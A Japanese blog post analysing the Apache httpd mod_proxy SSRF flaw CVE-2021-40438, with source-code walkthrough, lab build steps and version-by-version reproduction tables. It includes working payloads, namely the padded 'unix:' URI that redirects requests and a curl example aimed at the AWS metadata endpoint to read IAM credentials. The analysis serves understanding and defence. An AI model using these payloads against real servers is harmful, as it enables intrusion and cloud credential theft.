1. 記事一覧 >
  2. ブログ記事
category logo

Apacheの脆弱性(CVE-2021-40438)について深堀りしてみた

(更新) (公開)

はじめに

CVE-2021-40438(JVNDB-2021-004150) の脆弱性について、放置すると何が起きるのか、気になったので、調べてみました。


・Apache HTTP Server 2.4.48 およびそれ以前
・mod_proxy の設定(ProxyPassProxyPassReverse)が設定されている
の場合、脆弱性を突かれることになります。


JVNDB-2021-004150 の説明では、
・Apache HTTP Server には、mod_proxy に関する処理に不備があるため、リモートユーザが選択したオリジンサーバにリクエストを転送される脆弱性が存在します。
・巧妙に細工されたリクエスト uri-path を介して、リモートユーザが選択したオリジンサーバにリクエストを転送される可能性があります。
との記述がありますが、最初、いまいちよく分かりませんでした。
何が起きるのか、なぜ起きるのかを調べてみると、言っていることが理解できました。


本記事情報の誤りにより何らかの問題が生じても、一切責任を負いません。

【検証環境】

CentOS 7.9

 apr-1.7.0.tar.gz

 pcre-8.45.tar.gz

 apr-util-1.6.1.tar.gz

 httpd-2.4.7.tar.gz

 httpd-2.4.10.tar.gz

 httpd-2.4.12.tar.gz

 httpd-2.4.48.tar.gz

 httpd-2.4.49.tar.gz


以下、深堀りした結果を記述します。


現象

こちらの記事を大いに参考にさせていただきました。

https://cydrill.com/owasp/apache-ssrf-an-all-you-can-eat-reverse-proxy/

https://firzen.de/building-a-poc-for-cve-2021-40438

http://example.com/ は、ProxyPassProxyPassReverse の設定が有効で、脆弱性のあるサイトの URL とします。
以下のような URL により、ProxyPassProxyPassReverse の設定は無視されて、http://攻撃者が行かせたいURL/の方へ転送されます。

http://example.com/?unix:長い文字列|http://攻撃者が行かせたいURL/

CVE-2021-40438の現象図示

具体的には、以下のようなリクエストです。

http://example.com/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://google.com/

Aですが、Aである必要は有りません。(任意の文字)

また、再現する文字列の長さはおそらく、環境で決まります。参考記事では、7701文字とありましたが、今回の場合は、4070文字で再現しました。


何が問題?

http://example.com/ 運営者の意思に反して、不正に転送されること自体が問題であることは間違いないのですが、それだけかというとそうではありません。
こちらの参考記事に重大な問題が書かれていました。
https://northwave-security.com/19221/

http://example.com/?unix:長い文字列|http://169.254.169.254/latest/meta-data/iam/security-credentials/ServiceRole

のようなリクエストで、AWS IAM ロールのセキュリティクレデンシャルを盗み見ることができます。


以下の図のような状況の時に問題があるようです。

CVE-2021-40438の致命的な問題

実際に盗み見ることができるかは試していません。


攻撃イメージ:

# curl "http://example.com/?unix:長い文字列|http://IAM用IPアドレス/latest/meta-data/iam/security-credentials/ServiceRole"
{
"Code" : "Success",
"LastUpdated" : "2021-10-28T07:08:32Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...REDACTED...",
"SecretAccessKey" : "SECRET_REDACTED",
"Token" : "SECRET TOKEN BASE64 REDACTED ==",
"Expiration" : "2021-10-28T13:33:19Z"
}

原因(メカニズム)

再現するときは、以下のソースコードが関係しています。
apr-1.7.0httpd-2.4.48 のソースコードを元に説明しています。


unix: が URI のどこかに書かれているとap_runtime_dir_relative 呼び出し。( proxy_util.c 2218 行目)

apr_filepath_merge 呼び出し( config.c 1616 行目)

apr_filepath_mergeAPR_PATH_MAX を超えるパス長のため、 return APR_ENAMETOOLONGapr-1.7.0filepath.c 154 行目)

ap_runtime_dir_relative からは、 NULL が返り、そのまま null チェックされず、 apr_table_setn(r->notes, "uds_path", sockpath);uds_pathnull になる。( proxy_util.c 2219 行目)

UDS(Unix ドメインソケット)の指定が無かったことになり、ただのプロキシ指定となって、 proxy:パイプの後ろのhttp://... にリクエストが発行される。


検証環境では、 APR_PATH_MAX は、 4096APR_ENAMETOOLONG は、36 でした。

maxlen = rootlen + strlen(addpath) + 4;

if (maxlen > APR_PATH_MAX) {

のため、

rootpath = /usr/local/apache2/logs

rootlen = strlen(rootpath)23

+ 4

の関係で、再現するときの値("A"の数)は、4070文字以上でした。

UDS(Unixドメインソケット)機能のunix:については、httpd-2.4.7 で対応された機能です。

マニュアル(https://httpd.apache.org/docs/2.4/en/mod/mod_proxy.html#proxypass)には、

Compatibility: Unix Domain Socket (UDS) support added in 2.4.7

の記述があります。


httpd-2.4.48/modules/proxy/proxy_util.c

2204 static void fix_uds_filename(request_rec *r, char **url)
2205 {
2206     char *ptr, *ptr2;
2207     if (!r || !r->filename) return;
2208
2209     if (!strncmp(r->filename, "proxy:", 6) &&
2210             (ptr2 = ap_strcasestr(r->filename, "unix:")) &&
2211             (ptr = ap_strchr(ptr2, '|'))) {
2212         apr_uri_t urisock;
2213         apr_status_t rv;
2214         *ptr = '\0';
2215         rv = apr_uri_parse(r->pool, ptr2, &urisock);
2216         if (rv == APR_SUCCESS) {
2217             char *rurl = ptr+1;
2218             char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
2219             apr_table_setn(r->notes, "uds_path", sockpath);
2220             *url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */
2221             /* r->filename starts w/ "proxy:", so add after that */
2222             memmove(r->filename+6, rurl, strlen(rurl)+1);
2223             ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r,
2224                     "*: rewrite of url due to UDS(%s): %s (%s)",
2225                     sockpath, *url, r->filename);
2226         }
2227         else {
2228             *ptr = '|';
2229         }
2230     }
2231 }

httpd-2.4.48/server/config.c

1610 AP_DECLARE(char *) ap_runtime_dir_relative(apr_pool_t *p, const char *file)
1611 {
1612     char *newpath = NULL;
1613     apr_status_t rv;
1614     const char *runtime_dir = ap_runtime_dir ? ap_runtime_dir : ap_server_root_relative(p, DEFAULT_REL_RUNTIMEDIR);
1615
1616     rv = apr_filepath_merge(&newpath, runtime_dir, file,
1617                             APR_FILEPATH_TRUENAME, p);
1618     if (newpath && (rv == APR_SUCCESS || APR_STATUS_IS_EPATHWILD(rv)
1619                                       || APR_STATUS_IS_ENOENT(rv)
1620                                       || APR_STATUS_IS_ENOTDIR(rv))) {
1621         return newpath;
1622     }
1623     else {
1624         return NULL;
1625     }
1626 }

apr-1.7.0/file_io/unix/filepath.c

81 APR_DECLARE(apr_status_t) apr_filepath_merge(char **newpath,
82                                              const char *rootpath,
83                                              const char *addpath,
84                                              apr_int32_t flags,
85                                              apr_pool_t *p)
86 {
87     char *path;
88     apr_size_t rootlen; /* is the length of the src rootpath */
89     apr_size_t maxlen;  /* maximum total path length */
・・・(略)・・・
150     maxlen = rootlen + strlen(addpath) + 4; /* 4 for slashes at start, after
151                                              * root, and at end, plus trailing
152                                              * null */
153     if (maxlen > APR_PATH_MAX) {
154         return APR_ENAMETOOLONG;
155     }
156     path = (char *)apr_palloc(p, maxlen);
157
158     if (addpath[0] == '/') {
・・・(略)・・・

httpd 各バージョン調査

httpd-2.4.7httpd-2.4.10httpd-2.4.12httpd-2.4.48httpd-2.4.49 について、どうなるか調査しました。


要約すると、以下の結果です。httpd-2.4.7 から UDS(Unix ドメインソケット)機能が実装されているはずですが、httpd-2.4.7httpd-2.4.10 に関しては、再現しませんでした。
httpd-2.4.7:再現しない
httpd-2.4.10:再現しない
httpd-2.4.12再現
httpd-2.4.48再現
httpd-2.4.49再現しない

httpd-2.4.7httpd-2.4.10 は再現しませんでしたが、更新が不要という意味ではありません。


ソースコードを書き換えて以下のように CentOS 7.9 でビルドして調査しました。

# tar zxf apr-1.7.0.tar.gz
# tar zxf apr-util-1.6.1.tar.gz
# tar zxf pcre-8.45.tar.gz
# tar zxf httpd-2.4.48.tar.gz
# cd apr-1.7.0/
# ./configure && make && make install
# yum -y install expat-devel
# cd ../apr-util-1.6.1/
# ./configure --with-apr=../apr-1.7.0 && make && make install
# cd ../pcre-8.45/
# ./configure && make && make install
# cd ../httpd-2.4.48/
# ./configure --enable-proxy && make && make install
# firewall-cmd --add-service=http --permanent
# firewall-cmd --reload
# vi /usr/local/apache2/conf/httpd.conf
LoadModule proxy_module modules/mod_proxy.so
・・・(略)・・・
ProxyPass / "http://proxy.example.com/"
ProxyPassReverse / "http://proxy.example.com/"
# /usr/local/apache2/bin/apachectl start

AH01177: Failed to lookup provider 'shm' for 'slotmem': is mod_slotmem_shm loaded??

というエラーが発生した場合

/usr/local/httpd/current/conf/httpd.conf

LoadModule slotmem_shm_module modules/mod_slotmem_shm.so

部分のコメントアウトの解除が必要です。


以下の URL でテストした結果をまとめました。


テスト1

http://example.com/?unix:

テスト2

http://example.com/?unix:|

テスト3

http://example.com/?unix:AAA|http://google.com/

テスト4

http://example.com/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://google.com/

(A の数は 4070 個)


「再現しない」とは、 ProxyPass(ProxyPassReverse) に設定した、URLに転送された(本来機能すべきプロキシ機能が普通に機能した)という意味です。

apr_filepath_merge とは、 apr-1.7.0/file_io/unix/filepath.capr_filepath_mergeAPR_PATH_MAX チェック処理がどうなったかを示します。


●httpd-2.4.7

テスト状況apr_filepath_merge
再現しない通過しない
再現しない通過しない
再現しない通過しない
再現しない通過しない

●httpd-2.4.10

テスト状況apr_filepath_merge
再現しない通過しない
再現しない通過しない
再現しない通過しない
再現しない通過しない

●httpd-2.4.12

テスト状況apr_filepath_merge
再現しない通過しない
500 エラーAPR_PATH_MAX 以下
503 エラーAPR_PATH_MAX 以下
再現APR_PATH_MAX 超過

●httpd-2.4.48

テスト状況apr_filepath_merge
再現しない通過しない
500 エラーAPR_PATH_MAX 以下
503 エラーAPR_PATH_MAX 以下
再現APR_PATH_MAX 超過

●httpd-2.4.49

テスト状況apr_filepath_merge
再現しない通過しない
再現しない通過しない
再現しない通過しない
再現しない通過しない
loading...